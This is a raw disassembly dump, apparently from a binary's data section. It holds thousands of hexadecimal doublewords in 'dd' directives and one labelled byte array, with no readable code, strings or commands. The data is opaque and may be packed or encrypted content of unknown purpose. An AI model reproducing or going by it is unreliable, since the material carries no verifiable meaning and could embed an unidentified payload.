dd 0BBA78017h, 10ACEA48h, 0F61D0798h, 0E9D8BC57h, 0F59CC200h
dd 8670B97Ch, 626072C7h, 0B8BB92E0h, 8B30D204h, 0C063C8BCh
dd 0A2A60EF2h, 818DFD01h, 50768B5Fh, 20D2DC31h, 264EB229h
dd 58964217h, 0F92F5040h, 930932CCh, 24172540h, 0B4831891h
dd 52486494h, 33B22D0h, 6A95D7F7h, 16924861h, 0B411D0A0h
dd 740EB2ABh, 600897CFh, 0BFB65F0Ch, 2030B0A7h, 424C4124h
dd 808A108Ch, 860268D0h, 3F642CB4h, 6A77CCC0h, 96301083h
dd 0AF35C815h, 380350B7h, 91DE6D78h, 0F19F0358h, 2C6EB0h
dd 24CF07ECh, 96503DE0h, 5640BCACh, 80215540h, 0DC90AC47h
dd 2E7ED0F5h, 258930Ch, 0A0DD35C0h, 91CE0C0h, 0D7C011BFh
dd 3B3439A4h, 4B220B46h, 0BEE47847h, 3A7A5048h, 50944B00h
dd 1384828Fh, 888A01Dh, 3FD1C37Eh, 96B0B109h, 0B90076E1h
dd 0D7FFAC72h, 0BA4482Ch, 0E301521Eh, 81DE4C1h, 8CB98CBCh
dd 8760B45Bh, 0ABF058F6h, 9D2D9C2Dh, 80639160h, 0CC6CBD06h
dd 0D9B70007h, 83407BA2h, 0E9C04384h, 0D14ECE97h, 4428B442h
dd 0C3052EBh, 0EBCC0A7h, 0B3C59BB5h, 0D032A480h, 4740F086h
dd 2871691Ah, 0D11209Dh, 75A48483h, 41305011h, 8C0FB8h
dd 72FD2D81h, 20212FA1h, 0F32594E4h, 4C40217Fh, 503C358Fh
dd 92089320h, 0F1A28ABh, 17010AF8h, 31B24A1Eh, 0F54009CDh
dd 0B400708Eh, 5E58F4BEh, 0CD8E086Ah, 57802440h, 0C544164Ch
dd 8B8005FEh, 0C17D64E0h, 2CEAFCC9h, 68810934h, 8060B73Dh
dd 8971AC52h, 5B018206h, 56F51B7Eh, 285A5017h, 57A0C0C0h
dd 83580507h, 0F8710568h, 70D0289Eh, 4D6AA394h, 700BD0EEh
dd 0B49D3F91h, 6C807A11h, 9AD7CBA0h, 1F0A867Ah, 0A4628D4Eh
dd 0D1F24D41h, 24384AF4h, 0A0A976h, 8135237Bh, 0BC0A407Ah
dd 9C82E207h, 46745024h, 0AD75017Ch, 66478C84h, 0A4588032h
dd 7BC88048h, 0E4814081h, 28A47EAFh, 46548858h, 8AC2807h
dd 2F507AB9h, 0C0112EC9h, 22A422EAh, 18740013h, 0F854538h
dd 1204D61Dh, 5462ABDDh, 38942CACh, 718C03B8h, 3CC1005Dh
dd 0DE1D71Bh, 0A561BDDEh, 22DCECD2h, 54629875h, 0A834F1Fh
dd 0C70C23E2h, 0DBF2B05Fh, 220512D3h, 0F6BE539Ah, 0B881A5C4h
dd 280C1A08h, 0E4FC5041h, 1D0096AAh, 80DB898Bh, 3A1DA459h
dd 0D41A1220h, 0F630C08Ch, 0FCB42F9Eh, 0F4AC8003h, 51190A21h
dd 11983FDEh, 122D000Ah, 608F04F5h, 71CC0269h, 440914E3h
db 0C3h
byte_4E0049 db 9Bh, 0C8h, 0C7h ; DATA XREF: ___:00437DD4o
dd 90B12FF4h, 7D73C80h, 75B23608h, 0DFE40382h, 0C49A3BEh
dd 0E0F2F4E8h, 1561CE18h, 0E72731h, 3F46AC3Bh, 32232CBAh
dd 0CB51C300h, 0A8D335CEh, 56B0F3Ch, 7180924Ch, 907231B2h
dd 168B7496h, 58AC11A6h, 5101B829h, 5265D68Dh, 5987608h
dd 6F478481h, 19958B0h, 0B9CA1602h, 24938D10h, 0BF06A644h
dd 34389484h, 709CBB10h, 0CC1C50AFh, 4080C566h, 41EEE61Fh
dd 4630900Ah, 8E97023Dh, 516CA0D3h, 6F596084h, 0BF01558Eh
dd 0E48C5CCAh, 0F04D4B2Bh, 0EE28874h, 4A79A6ADh, 0EE208F61h
dd 818820EFh, 488C2788h, 4B101078h, 0DB310074h, 0F66E5713h
dd 0BB930849h, 0F8162288h, 0D3942C30h, 51AC3E2Bh, 435C4206h
dd 6D225869h, 678D1824h, 0B2CC78E0h, 811378BAh, 0B0B0F79Ch
dd 0DCE427A4h, 90A546Ch, 0B863839Ch, 396AE48Ch, 0B7E20478h
dd 0EC41282Ah, 0C42E4BCCh, 3A1323h, 0C15E9295h, 122C26F5h
dd 0B1F4B518h, 1DA44A0Ch, 10225C9Ch, 841CA2FCh, 34EC4C1Bh
dd 444A188Bh, 0F200C859h, 0A8D821F7h, 200B041Fh, 814352F6h
dd 330932FBh, 3D682264h, 59A84D78h, 1C02144h, 0BD3A9B08h
dd 0F637A582h, 680E773Ch, 5262647Dh, 2C8A88Bh, 0D6F9E7C0h
dd 0BDC70F90h, 0A800DAB7h, 9B55E4FDh, 460448A7h, 11AFF6FCh
dd 69C94878h, 0E919C9Fh, 0AA3F6681h, 2F588824h, 1E916E20h
dd 0FA0406A8h, 3C8199B2h, 94732F61h, 0EC828A71h, 24C47A77h
dd 91690221h, 9D780512h, 0B0F43944h, 5C0B427Ch, 8C79AC10h
dd 0E06E6500h, 20B5BFBDh, 8FA502CCh, 7D139C02h, 9924482h
dd 4527AC22h, 0F65119Ch, 6C9C848Fh, 10A83812h, 3E7772CCh
dd 0EBE5939Dh, 58C80CF6h, 48BB9202h, 0C6E04A40h, 8AE0A3E4h
dd 44D832AAh, 72FCCF0Bh, 91F097B2h, 227B800Eh, 18837E14h
dd 0B9785784h, 734132F4h, 7078E7F1h, 18C55BCh, 37EF5B6Ch
dd 0F8D7A624h, 584E70C4h, 0F588E040h, 1A0D829h, 6759DBF3h
dd 0D949E387h, 0C4BC2241h, 0A0B30C21h, 6B3063B2h, 0BF0D037Ch
dd 0D88BFECFh, 0D4AEF690h, 84E02B48h, 4D080588h, 0A6096611h
dd 9CD03EFCh, 14EFE0A1h, 316ED891h, 0D6EDAC28h, 5F1DFA30h
dd 9A5C4019h, 54E22840h, 0E5D40B00h, 0A8CA30AEh, 994F00DEh
dd 0E496980Eh, 88C4265Eh, 0B08C496Fh, 9240409Bh, 7D36397h
dd 0B1B32FC8h, 3F062322h, 0D800D1A6h, 247670Bh, 0F6A792h
dd 0D5D6F489h, 0E482EA1Ah, 6882EB4Fh, 22CEC97h, 253A1EA8h
dd 7CC22BD5h, 0B14E1047h, 0F746D080h, 9F00E170h, 0ED75D789h
dd 0F2E7BBAFh, 8A81005Ah, 0C3F35D1Bh, 7C9045B5h, 3C4FAC20h
dd 9E0931B1h, 0F81029B0h, 0C8833008h, 9FCF83h, 3AA4CD0h
dd 5E472460h, 1FF2E412h, 756056h, 2AB294A2h, 13E1FA30h
dd 903165CBh, 325DA5A8h, 97019900h, 77618B33h, 0A69E0214h
dd 3F267075h, 79792CF9h, 19090718h, 763C3F8Ch, 9B806E68h
dd 7094FC86h, 31E2F8A3h, 412C7629h, 6891539Dh, 40E09294h
dd 28204C21h, 50C0EF25h, 9615F869h, 1FEC5004h, 4280320Eh
dd 1710D576h, 0A0BE5CCAh, 3E6F7717h, 0F552398h, 64E07BB3h
dd 28B818FAh, 1AC2B4Ch, 69B97A4Ch, 9E20E2E9h, 340D4C02h
dd 5725A10h, 507BE49Dh, 56EC84A8h, 5C35008Ch, 0BBD7A16Ah
dd 0BD072F0Ch, 0C184A7A5h, 0B0143243h, 4AE3CCFAh, 0C8FC8B28h
dd 286DC02Dh, 82F102FCh, 0A616E0B0h, 44585274h, 4D1F9F01h
dd 445338A3h, 1382AB00h, 1D3405Dh, 3176BB94h, 0F6723B52h
dd 309E005Ch, 8C84BF82h, 9E64DCB3h, 8E8E432h, 0D5011AC0h
dd 0BACA160Ch, 5E5F460h, 2257A191h, 8198A4C9h, 54CF68C0h
dd 2ECCA393h, 0D47004h, 9D62989h, 0E0970A95h, 403FEC80h
dd 8410A44Bh, 0B20028C6h, 29B3669Dh, 63096192h, 0A783E481h
dd 0E94C0878h, 85A400D1h, 0D042BE22h, 0A10147AAh, 0B82093F4h
dd 452004F9h, 583F27B1h, 9BED8068h, 857D8E00h, 0A2D19616h
dd 32076B0h, 0C636F222h, 3FB0C468h, 0A7129AB6h, 0AC8B2C73h
dd 0A0CF01C8h, 0ECE8B2D9h, 0F66705EEh, 0A9260896h, 9EA1074Ch
dd 0AB259Ch, 22F448C0h, 16F9C00Ah, 261C9AF8h, 746EF05Fh
dd 0C0950D1Fh, 0B88BF92Fh, 3D585237h, 0A4BB1300h, 27F62CA0h
dd 0FCC507E0h, 0B480D1EEh, 20954EECh, 88B02CBEh, 0F834A63h
dd 6157E4A3h, 0A047F020h, 78121F30h, 0A0D4CE22h, 202FE4ACh
dd 0A014742Ah, 48E82090h, 99014CACh, 20F02755h, 246C0885h
dd 47A39205h, 4E48D1DEh, 2504D6DDh, 65A258F3h, 537E030h
dd 10A94AEh, 1378C408h, 0F7D4F230h, 16D4C068h, 8095FCADh
dd 4189E958h, 48F2F409h, 9B0FF8B9h, 99A0E685h, 15BE2A6Bh
dd 489C36EAh, 0D8A55307h, 638C23C1h, 0A4091C38h, 0A02116CCh
dd 3F31C382h, 0CE612C08h, 13A8FE4Ah, 0C02CF25Bh, 63FE57D0h
dd 73BD0B0Ah, 34840B72h, 8464B8ACh, 6E41CB9Bh, 0E091712Fh
dd 20C608A8h, 4031D330h, 1F3D5039h, 522449Ch, 0A3957082h
dd 0B3DC1362h, 3066A210h, 0BA00657Eh, 4D764BA6h, 34E874Ch
dd 0FC91D289h, 50C2800Ch, 16DC007Eh, 0D31BAEh, 0F992B1CEh
dd 8C2582E7h, 3290C0BFh, 80D91EC0h, 3880AFD4h, 7B942126h
dd 78C440BAh, 0C880EE1Fh, 5DABA00Ah, 4204D0F8h, 4022315Ah
dd 601B2345h, 0F3F662h, 9E6B6377h, 61AE1C36h, 7E94C700h
dd 70AB9372h, 2D30920Ch, 98404729h, 0B2EE84A2h, 50B7994Ch
dd 9C76A8A0h, 0DEE71CBAh, 0A08130DCh, 3A849518h, 42C0402Ah
dd 2BC2E2E7h, 782FD73Fh, 51709616h, 4016AC41h, 2AA4E667h
dd 11F848D0h, 3D910126h, 0F8E9A8D3h, 5EDFCCh, 267AB730h
dd 6F9B208Fh, 846F29D3h, 4001C31Eh, 739C8477h, 0EA049222h
dd 46754ECEh, 3022B8B2h, 0C38C8308h, 0FC32027Dh, 88082096h
dd 0FA013C2Ch, 0AE9CA524h, 0E900EC38h, 2EE419E1h, 0F60D9FA4h
dd 582C5886h, 188FD468h, 5548F7E0h, 30030C91h, 0D7B18015h
dd 0BD201DFAh, 0AC045DF5h, 2A4674C4h, 28EB6B05h, 296CC0BAh
dd 17B7D084h, 822D9130h, 48780841h, 0B23F788h, 406E05B1h
dd 766D0700h, 0B8B83CD9h, 1680A1BDh, 1154BA4h, 5823B81Ch
dd 0F2A454D6h, 5DD30184h, 0E243286Eh, 92EBCECh, 95FDC667h
dd 898088D1h, 0C15A1EC2h, 7C199D28h, 6AC84221h, 0C5A528DBh
dd 602DE4F0h, 0FE95C267h, 0C091003Bh, 45D711A7h, 5973F69Bh
dd 104C3849h, 0A80676C3h, 0A0122284h, 3F2F8B02h, 0A46D8572h
dd 74F84780h, 9CB38482h, 0ED2FBDC0h, 4BFC0F00h, 0C3461F82h
dd 4FC92948h, 0C6830094h, 136AE4A5h, 0E70358C0h, 0C59DCB21h
dd 49481A9h, 0EB47BE78h, 9843404h, 0F59D7204h, 1C042020h
dd 24CE0640h, 11641B71h, 8C810427h, 401167B7h, 50558600h
dd 0E49D35F8h, 0D47C8C7Fh, 6284480Ch, 0F0F907Eh, 9D786F3Fh
dd 41CC8157h, 78573AC9h, 9F01E46Eh, 0D42039B0h, 4CE43850h
dd 3F1C10A8h, 0DBF39402h, 6C5842F2h, 2E511022h, 0FD82919h
dd 0E482B696h, 0CFC0BBCh, 8A5313F4h, 16A40228h, 8475D958h
dd 0C4ED68FCh, 8721D303h, 9BF888E9h, 0F6004612h, 4DA601CBh
dd 5A9D4726h, 0EC18856Dh, 57F6815Ch, 11963BF0h, 34410FA7h
dd 0C8648EB6h, 4178C00Fh, 7F1E91A0h, 5D450E99h, 0F001802Eh
dd 0E8CC221Ah, 23BC3E6Eh, 8803F12h, 76163505h, 0F45C21C4h
dd 0C989808Ch, 48CE6425h, 4D6184Ah, 955188Ch, 0A70DE12h
dd 117040D8h, 8E69803Fh, 9C7CA0D1h, 6167587Ch, 927D8E00h
dd 5E44D09Ah, 19D8C9C6h
dd 0EFDD5C04h, 0F9E3200Bh, 191671F4h, 95836FC8h, 11C1AC90h
dd 0D8773200h, 1778F0E2h, 0A4D50E93h, 0CBC08FE9h, 6B4C3183h
dd 0B6017CB0h, 42C8E0A8h, 0CADFF897h, 912CD62Ah, 27B05334h
dd 0B12078F7h, 1815D180h, 734E15BFh, 2F0980F1h, 80323417h
dd 0D1D81041h, 0C1845BAAh, 704445A1h, 9434C20h, 5D8D84A4h
dd 7418EC0Ah, 0E3001146h, 0D3E7C69Ch, 2AE79375h, 4FB96888h
dd 0C8288E28h, 9F09C116h, 5C3C705Ah, 0B0A476E4h, 29F5CC35h
dd 72E9D401h, 10000E9Eh, 27802E40h, 0BE5B004Eh, 3B96DE38h
dd 3E00366Fh, 0B60F2B17h, 4C50FBD8h, 303A7037h, 0A07A4Eh
dd 408A08F2h, 0E3E56998h, 246A4AD5h, 9CB0CB18h, 0BE8601A3h
dd 0E49443CFh, 0A4B40E84h, 0B00C9AFh, 0A40DA810h, 78C7D102h
dd 0E81F4658h, 4157844Ch, 6F3C2049h, 0FCF158B0h, 69D26D9Ch
dd 57C8A88Bh, 0AD7160C0h, 145B8C4h, 0A3D78341h, 0AC510184h
dd 870888A0h, 9C080B17h, 0DC5B442Bh, 0D9DD370h, 4A389AB2h
dd 7025FEB8h, 802964F0h, 0CC134842h, 84D1171Ah, 0A09631Bh
dd 0C02B8870h, 0B4C86CCDh, 6A0023FEh, 0B95CE114h, 6007B898h
dd 0B329D179h, 44909992h, 89C91240h, 5BB6FC89h, 0F5B2481Dh
dd 9C01E85Ch, 65284EF4h, 0D097B0A5h, 0EF800391h, 3B5675ADh
dd 0E8EEAF09h, 5D4D9E0h, 4B26FCA6h, 0A86DD780h, 9AEACCC1h
dd 307E0431h, 0F0119988h, 967E6F09h, 5C240077h, 0BE49BA17h
dd 4FB942E4h, 88D27125h, 0F1C05197h, 5C1854h, 0F1389CB8h
dd 0D4FC94E2h, 96F8AE04h, 920259CCh, 0E47E84D3h, 7A441F1Ch
dd 0DCAC08D4h, 4A42C000h, 8193859Bh, 480A9624h, 44A4E425h
dd 845E7295h, 20AB6088h, 224F3AFCh, 2DC8248Bh, 80D4F3C9h
dd 0E1A7CBC5h, 9113783Eh, 0D08043F3h, 3E65B85h, 949D66C1h
dd 98054FD3h, 0ED10C0A7h, 0A600ACB9h, 0F99C9EBFh, 61F0C3E4h
dd 2F202090h, 0A3941C6Ch, 875030CDh, 0BE75024Dh, 50D62300h
dd 79E0604Ah, 2FF50038h, 0B62C9CA3h, 70C04968h, 1DC1D2D6h
dd 7CB20346h, 0B1B84DFCh, 0D810C92Ch, 9AC7DB01h, 1F7B14F3h
dd 0D8FC123Ch, 0EC38836Ch, 0F444CE34h, 0F038548h, 0D9C1A3D8h
dd 2C4F6F59h, 0B5A04F9h, 83C74CF8h, 0E96A56FCh, 78469C18h
dd 40F7F459h, 8F094E7Ch, 0D131144Bh, 187C791Ch, 0B8EB1228h
dd 0EA8C0504h, 340F477h, 0FC23115Eh, 0B2F94A56h, 300EF2D4h
dd 720F5945h, 83A0B63Ch, 4B79AEFCh, 23F82F68h, 2CD7002Dh
dd 83622646h, 0E46B7302h, 57F21745h, 0ACCB0804h, 0C68582C0h
dd 8840A3Fh, 0CE0216A0h, 5E503D4Eh, 195D42F8h, 3CCBE205h
dd 0C8C012C8h, 0B77FD626h, 8A47D88h, 6B421A0Eh, 828E1975h
dd 84A64791h, 267C5416h, 30ED0CC8h, 31436130h, 2012A622h
dd 0F0801CCCh, 44D8956Eh, 8A1FBB59h, 5C0951AEh, 3F0CC862h
dd 475900FBh, 24864A54h, 8DE8275Eh, 950DBE40h, 9757EC62h
dd 801291FCh, 864DDB8Ch, 0AD932688h, 27590084h, 854CFF0h
dd 4A74C6B5h, 23D42FDCh, 0EFCF0001h, 5C90CD47h, 74E2805Ah
dd 62E67C00h, 38E1E742h, 0EDD9DF04h, 0E253F64Dh, 20C10758h
dd 0D410E335h, 26501D5Dh, 8B8A526h, 88B2494h, 12CFA4Ah
dd 0E943BD64h, 35A7D6CEh, 0AC126EB4h, 0DA00B4B8h, 0D8255016h
dd 4C601948h, 8F0CC239h, 20BD1388h, 98E0D093h, 5805D830h
dd 425C8222h, 11030AFh, 7A4137ECh, 57B30820h, 0D7B0C46Fh
dd 4603F2F3h, 8AA3C16h, 1997073h, 0CED456E0h, 0F0D50528h
dd 0A70517EAh, 3F14AEF6h, 0BF0008ADh, 0F840B20Dh, 0C195189Eh
dd 3A2BB150h, 67237Ch, 0E159F4C8h, 0AD1218FFh, 0A8AD2AE0h
dd 8D84726h, 91021E3Bh, 0C9B096F6h, 98304884h, 61024052h
dd 18B41E5Ah, 3DB102B5h, 84481592h, 10B9A466h, 8C182979h
dd 78307502h, 8A726B55h, 830944A1h, 5C8809CFh, 7BC8A080h
dd 128F12E9h, 0A4C0120Bh, 281847BCh, 0D929BE9Ch, 5BCB7FA0h
dd 0E9280527h, 0E230C2DDh, 0F585C5Bh, 0EC50C4DDh, 82480008h
dd 95313C9Ch, 46B9249Dh, 72B96500h, 47BDD7B7h, 1716093Ah
dd 80A40B5Fh, 0C93B4492h, 0A62A4003h, 7CB830A0h, 7CEA2E99h
dd 0B9024D8h, 0C47B0CBh, 3F6011C4h, 0EF001CAEh, 389A260Bh
dd 609C1F4Dh, 0E4A68191h, 48B77F4Eh, 800BB1A0h, 21251435h
dd 184BD20h, 0BFF899E9h, 0A9E480A6h, 0A5BDA003h, 16D913C0h
dd 0E9A4D7A8h, 0F840687Ch, 3ADB08h, 1D827D78h, 511F366Eh
dd 0E01E2E03h, 0E02197D4h, 25C0DB52h, 0CD9A0A9h, 10084812h
dd 62610976h, 0D46ADCA0h, 5F822B64h, 0A0DBDC10h, 1C3CBB12h
dd 0E29D2049h, 0F41C56C0h, 63F80D02h, 103040C6h, 49389144h
dd 0A4B400A6h, 71DFE185h, 9E6E841h, 9A907EEh, 2F8244EBh
dd 0F0AC7801h, 8854137Ah, 0B9C2C28Ch, 5437E401h, 80BA25E8h
dd 64B557h, 62AF5216h, 35157850h, 1FC87207h, 0ABC756C5h
dd 9F03A7C0h, 6D46C061h, 6C1F0AD7h, 25CF508h, 4E389B5Ah
dd 6E692841h, 2A23243Eh, 9D23231h, 0E738566Bh, 0AC3A44Ch
dd 0F61FC0A9h, 3444058Ah, 0E4AD4EF8h, 9B88455Ch, 0C05264F6h
dd 0C510A4Ch, 4A893143h, 7888811h, 0B76CE400h, 55AF5E59h
dd 51F0D8h, 0F6F50D2h, 4F77A0D1h, 0FE00F774h, 0DA887942h
dd 0B1FAB0Ah, 2BD3782h, 0D007107Bh, 8E00515Ch, 162277E8h
dd 0C008AD76h, 0F6E7D810h, 485F6F24h, 294674h, 0FF96928Fh
dd 9859B70h, 0F82244FAh, 0DA83745Ch, 0F9E0841h, 30851889h
dd 489A78B9h, 0A888D788h, 7F1A25F4h, 570C5851h, 7134919h
dd 0AF568984h, 7E30B0D5h, 0F107ED9Dh, 0B70A742Dh, 256BC9E1h
dd 8513B079h, 0E2A4A363h, 82733001h, 89DB8705h, 0B8F22FF0h
dd 7FA77139h, 340E446h, 0CC9B5F1Fh, 932F6F34h, 9EACC8BBh
dd 9C20F866h, 65465EF8h, 205D450h, 6DDCEA0Bh, 0C9E09B58h
dd 0CE0B95C2h, 0E856C14Eh, 4019CCC0h, 3A3D8928h, 0A9C78009h
dd 0E199A5A6h, 7623008Ah, 832970B9h, 8C5B0CAh, 0E4CDFAC5h
dd 4D3BFDCh, 0A67A9BDAh, 3BA0E8A1h, 86C796B3h, 94E0E4B6h
dd 73E284BFh, 949805E3h, 43AFEC21h, 3CF6977Eh, 8653AFA0h
dd 6E0A8100h, 5BD06FB1h, 5C9AE8DFh, 0BF15D0D2h, 0F0A82CE3h
dd 482AE501h, 0A5366CB3h, 178FC42h, 8B078483h, 91CCA8C1h
dd 6B6AE270h, 2B5A004Ch, 0C94C69E9h, 58DB1835h, 8ACA2108h
dd 9E105B0Fh, 63D080D9h, 7E83BDB8h, 44B890E5h, 0D1008907h
dd 60B77E12h, 20B51E91h, 20123A58h, 54E864ACh, 6D40084Ah
dd 97852C7h, 64212F40h, 709A7D60h, 1EC22431h, 4053A17Ah
dd 36640B8h, 0B64264F8h, 600E4E1Ch, 9324F3A0h, 409FD4B9h
dd 661945E3h, 0DC3FED47h, 835F01B4h, 65178D10h, 47D02201h
dd 638CD160h, 0FCA85013h, 0F0B40C62h, 163A4090h, 0B264605Bh
dd 34008C09h, 44A92297h, 155B094h, 0B6D1C13Fh, 880CA61Dh
dd 664FAFF0h, 0BD0349EAh, 263987F5h, 0C70982CBh, 6068C408h
dd 0D215617h, 39360FABh, 87196C8h, 0D53E090h, 24BA0089h
dd 65668454h, 737D5B22h, 7BD30201h, 0E10AD69Fh, 542C2075h
dd 8C14ECh, 30792C2Dh, 0E86B800Dh, 1171C705h, 0D0213CD4h
dd 0F47328B8h, 0A83015E2h, 50472EA4h, 5E121184h, 0DF3B4490h
dd 0FBA9001Bh, 1CCDFD66h, 0F4B30E9h, 84A80C20h, 6408BFF6h
dd 9A22400Ch, 0CB259154h, 4250E16Ch, 72F0C82Ah, 52C4D427h
dd 0F8B510D8h, 6F401745h, 84482880h, 5811613Eh, 0F9CC78EFh
dd 13043D1Ch, 94322BCDh
dd 0E49F5594h, 0EE831711h, 0AFFC9C5Fh, 60BA8834h, 1EA8E66Ch
dd 0BF08D900h, 9FF09CCCh, 2A899A5h, 55CD495Bh, 465E4C74h
dd 8E610164h, 95128DF7h, 0BF47130h, 43ED10AAh, 0C01C1058h
dd 1A4BF0A5h, 6054DC0Ah, 80C2F450h, 44704497h, 0A031C78h
dd 1D36EB5Ch, 81169877h, 3C68F19Ch, 17A5B101h, 3BE8D392h
dd 88343C13h, 209BE081h, 3839EC49h, 9FE48106h, 5E1F911Fh
dd 6465D0FAh, 0F03A44D4h, 58A39209h, 614CA101h, 3B6E40B2h
dd 50D2318h, 474F295h, 145D98CCh, 13A81AECh, 0DCBC5460h
dd 13AD4713h, 0EA72C0CCh, 0F116891Fh, 0F631844Dh, 30BE585Ah
dd 0A7D783F4h, 0ED2C4B00h, 94D63F7Fh, 0D55A30F3h, 0C39EF490h
dd 0EFA8B767h, 0AB8B6E70h, 39B20F45h, 0C8A1E11Eh, 0FC478C60h
dd 0E69DBE4Fh, 3AAB0544h, 0B8349EF6h, 0E86A1418h, 88B4D0CCh
dd 880A492h, 0DB801643h, 0FCAB2607h, 0CBE8AE02h, 4D08B38h
dd 40803C79h, 0F3024ADBh, 0F54D05C8h, 30A2A615h, 0CC919D2Dh
dd 3FD46C32h, 11C8B370h, 4BF7F18Ch, 40DC3F00h, 78DB9213h
dd 86F6AC80h, 2464F598h, 476B063Ch, 817EEF9Dh, 9C05B8B1h
dd 8CB75509h, 8DACC84Ah, 4F06D0EFh, 0EC8F20A5h, 20765102h
dd 94F81FFBh, 334B259h, 73FEE73Bh, 54F01610h, 16F8D23Fh
dd 79AEC082h, 0F4964218h, 0CB92805Eh, 8E8968BCh, 86101061h
dd 1F5BEAB7h, 2F182B11h, 38A130A0h, 82079383h, 853E5430h
dd 594DBCF0h, 0FF013CFAh, 376E4081h, 807F0841h, 0D9BABBE1h
dd 0DE6052h, 2170EB9Eh, 66B0D520h, 85862913h, 0EE000CB2h
dd 33833C11h, 0DA003A6Fh, 1C4A64Dh, 56F16Ah, 0CF7A670Bh
dd 488C27D0h, 0A5E03C18h, 5D3220h, 29925A1Eh, 0A67863CFh
dd 57DF5F1Dh, 0E2DC8D04h, 60038EDh, 623B774Eh, 28030FCEh
dd 1AD4478Ah, 5FC7F0F9h, 0F68F0026h, 0EF90A5D0h, 28739241h
dd 0C73CDA25h, 611544BCh, 82FBFD9h, 29051680h, 88A2CD83h
dd 1594D700h, 0BCF17BFBh, 160157F8h, 0B6F8C389h, 0D1155DE4h
dd 9658FFD0h, 0CCA83F3Ah, 248480AEh, 67904968h, 188C083Bh
dd 85C1708h, 0D408EA10h, 0F0408CCh, 89D3508h, 57082BCAh
dd 3F4808C4h, 8CEBB08h, 5618E80Eh, 80CFE329h, 0AA807E58h
dd 0CB980E7h, 8086D980h, 4280364Ch, 33B480C1h, 80F96180h
dd 3280F22Dh, 88AB8118h, 89C52B9h, 0B50823CDh, 0FD21086Ch
dd 8E1CB08h, 0FA188BC4h, 801C3209h, 95808026h, 401E806Ah
dd 805AFF80h, 598094DFh, 62E780DDh, 8072F980h, 3B80202Ch
dd 0D23E802Ah, 80340B80h, 0A98088A7h, 7823807Fh, 9C51AC81h
dd 6201CD42h, 565010Dh, 30E1001h, 0DE813212h, 94A2C929h
dd 0EB021AE0h, 44C0051Dh, 4E487ECh, 160AC7E1h, 0C8F288B0h
dd 0F1347124h, 0DB8F8444h, 0C21C504h, 40DD316Dh, 7540F02Eh
dd 119B45B8h, 17AEFDCh, 0B901F806h, 40E01CAh, 2FC1501h
dd 4EC0A2E4h, 7CEE0202h, 27EB702h, 89022B0Bh, 0D04D026Bh
dd 2F1E702h, 3D02983Fh, 5F9D0559h, 0DD51F2FCh, 0D995BCA2h
dd 28A1002h, 1C05ECC6h, 8334008h, 231881C9h, 80CF4439h
dd 9980E3FBh, 889B815Bh, 8637DF1h, 930C87FDh, 8180E1DCh
dd 3E02E6E6h, 0D6220235h, 206C7303h, 43207D89h, 0C3E82074h
dd 209DC820h, 0B42022DEh, 99BF209Eh, 2017CF20h, 4820207Ah
dd 0CC3B5413h, 9D90A8ABh, 61118027h, 0C8032680h, 0E115F239h
dd 62F10D0h, 311A1610h, 0C4AD5910h, 0A0A36A02h, 0F1201528h
dd 7861202Dh, 0F909054h, 4023E640h, 1140A2DFh, 0EE7740FBh
dd 0C4AA6440h, 4FC2F91h, 0BC045C57h, 0D49704E4h, 4C89A04h
dd 3D048DB2h, 14A1068Eh, 0F71B40E1h, 64CE8F40h, 0A121934h
dd 0DF88F8E2h, 0F4B40832h, 8CC3008h, 0E086FB9h, 295518CDh
dd 9E80714Ch, 38F283EEh, 2016402h, 1B029563h, 83F000E8h
dd 80B15734h, 1A8EF01h, 30748FC3h, 0F9990C48h, 610F4FBh
dd 8C73C700h, 0A80B634Dh, 0F024160Ah, 4C6C20D9h, 0A2005B09h
dd 0E812C10Fh, 0F9378DCh, 922C6B8Ch, 0FB804E25h, 8F70C827h
dd 0D01779h, 9AC4032h, 7CF3993h, 90EDE831h, 0EECC6F20h
dd 0F8A0C083h, 751F3DEFh, 0F042182Ch, 1811D08h, 0C07B15F6h
dd 84432A8Bh, 165A1861h, 0A404A868h, 2D19F814h, 718997Bh
dd 6A1038B2h, 0E8402643h, 4800CE14h, 2C03BA1Ch, 2FA76043h
dd 44C06562h, 9CBA40F0h, 6CF0B7F8h, 61285D0Bh, 348D811h
dd 0CA856F4Eh, 89F843A2h, 3B0044D9h, 0B5C06C0Bh, 7C1F12CBh
dd 6F29002Ah, 0A805098Ah, 0AB3062BAh, 95BD4049h, 0CEB6053Dh
dd 0AC159C0h, 780E18Dh, 83EE58A8h, 1004CFE6h, 1C4AD098h
dd 0D6D540F5h, 0A70B1887h, 593B8349h, 92E6F28Fh, 848C200Fh
dd 9CE5D1Bh, 826A1C45h, 2409B848h, 7DD09114h, 44A00228h
dd 0E0AC0F6Bh, 0A173832Ch, 8FE2A21Ch, 0E66B81E8h, 94D03CCAh
dd 0B5534F40h, 83F807ECh, 10706A7Dh, 1006583Ch, 0F7002452h
dd 8B373CAEh, 42005618h, 0AC6D5863h, 0EE874F40h, 14237E5Dh
dd 0ECF83C33h, 0ED39080Ah, 501E6FF4h, 80253E28h, 6E5A95C4h
dd 12FB99h, 0D04C4022h, 4623797Eh, 1908C101h, 0A76B6124h
dd 5D4BD89Eh, 2640B32Eh, 51A50DE1h, 8041F3A0h, 0E8396EA0h
dd 1183ED7h, 6B4C9225h, 85FF3461h, 0BF604528h, 2048FC51h
dd 5F4F0016h, 0D4445941h, 705FBA7h, 5CC0DD0Eh, 0FC91DC04h
dd 0D5887000h, 0C500BEA2h, 60BFC178h, 3ED2C0EAh, 97890917h
dd 2878C658h, 0BFC27700h, 0F85ACA55h, 71C9070h, 0ED1C1025h
dd 80D3D047h, 0AD004CF9h, 8369A17Dh, 28D75D13h, 50A8BCA3h
dd 13F8DC81h, 0A0F43166h, 5852C0B4h, 308730FCh, 187B25F6h
dd 81DF89Bh, 0DF0AB672h, 94342D07h, 0EA8CA80h, 0FF5F64Ch
dd 0D17BD090h, 842B1764h, 6B8440E9h, 0FA9967F8h, 4790A491h
dd 70051B20h, 0FF996AF8h, 0E1581007h, 349A87Ch, 80D03E37h
dd 6598C182h, 22343871h, 50B84E61h, 9D73450h, 48D019A0h
dd 23A85411h, 0CDCA00DCh, 0E58957Bh, 1E58D286h, 4B200328h
dd 44E25027h, 8207A07Eh, 89825D03h, 1DBC0809h, 4368C0BFh
dd 0BD62C2A9h, 9660DD66h, 7B833778h, 0B4430h, 626CEDB8h
dd 80A89C1Ah, 0EBD98B43h, 10DF7D28h, 840C8414h, 9C84484Fh
dd 0D599FA80h, 182F1206h, 0B1CCE0DCh, 20B0EC6Eh, 305395A2h
dd 0AB0900A8h, 0F8842DD4h, 0C0014774h, 0E751D68Dh, 1C2022C1h
